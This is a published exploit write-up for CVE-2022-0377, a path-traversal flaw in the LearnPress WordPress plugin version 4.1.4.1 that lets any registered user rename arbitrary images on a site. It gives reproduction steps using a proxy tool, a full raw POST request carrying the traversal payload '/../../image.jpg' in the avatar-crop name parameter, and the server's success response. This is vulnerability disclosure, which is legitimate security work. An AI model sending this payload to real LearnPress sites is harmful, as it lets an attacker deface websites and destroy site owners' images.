WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming

# Exploit Title: WordPress Plugin Learnpress 4.1.4.1 - Arbitrary Image Renaming
# Date: 08-01-2022
# Exploit Author: Ceylan Bozogullarindan
# Author Webpage: https://bozogullarindan.com
# Vendor Homepage: https://thimpress.com/
# Software Link: https://thimpress.com/learnpress-plugin/
# Version: 4.1.4.1
# Tested on: Linux
# CVE: CVE-2022-0377 (https://wpscan.com/vulnerability/0d95ada6-53e3-4a80-a395-eacd7b090f26)


# Description:

LearnPress is a WordPress complete solution for creating a Learning Management System (LMS). It can help you to create courses, lessons and quizzes.

A user of this LMS can upload an image as a profile avatar after the registration.  After this process the user crops and saves the image. Then a "POST" request that contains user supplied name of the image is sent to the server for renaming and cropping of the image. As a result of this request, the name of the user-supplied image is changed with a MD5 value. This process can be conducted only when type of the image is JPG or PNG.

An attacker can use this vulnerability in order to rename an arbitrary image file. By doing this, he/she can destroy the design of the web site. Some examples of the malicious actions:

- Destroying of banner of a web site
- Destroying of user avatars
- Destroying of post images
- Destroying of button/app images etc.

# Steps To Reproduce

1. Register and login to the learnpress system.
2. Go to the profile page and upload an avatar image: https://<learnpress-website>/lp-profile/<your-username>/settings/avatar/
3. While saving the image, intercept the POST request by a local proxy tool such as Burpsuite.
4. Change the value of the `lp-user-avatar-crop[name]` parameter to an arbitrary image file path that is in the website (example, /2021/01/image.png or /../../image.png). The path is relative to "/wp-content/uploads/".
5. Forward the intercepted request and check the existence of the image file given in Step 4.
6. You will see that the image can not be found. Because the name of it is renamed.

# PoC - Supported Materials

Request
---------------------------------------------------------------------------
POST /lp-profile/<username>/settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1
Host: 127.0.0.1:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 242
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/
Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
DNT: 1
Sec-GPC: 1

lp-user-avatar-crop%5Bname%5D=%2f..%2f..%2fimage.jpg&lp-user-avatar-crop%5Bwidth%5D=250&lp-user-avatar-crop%5Bheight%5D=250&lp-user-avatar-crop%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom=yes
---------------------------------------------------------------------------

Response
---------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sat, 08 Jan 2022 00:30:11 GMT
Server: Apache/2.4.48 (Debian)
X-Powered-By: PHP/7.4.23
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://127.0.0.1:8000/wp-json/>; rel="https://api.w.org/"
Link: <http://127.0.0.1:8000/wp-json/wp/v2/pages/17>; rel="alternate"; type="application/json"
Link: <http://127.0.0.1:8000/?p=17>; rel=shortlink
Vary: Accept-Encoding
Content-Length: 191
Connection: close
Content-Type: text/html; charset=UTF-8

<-- LP_AJAX_START -->{"success":true,"avatar":"<img src=\"http:\/\/127.0.0.1:8000\/wp-content\/uploads\/learn-press-profile\/2\/f574f3e6594498507333c41af9426d43.jpg\" \/>"}<-- LP_AJAX_END -->
---------------------------------------------------------------------------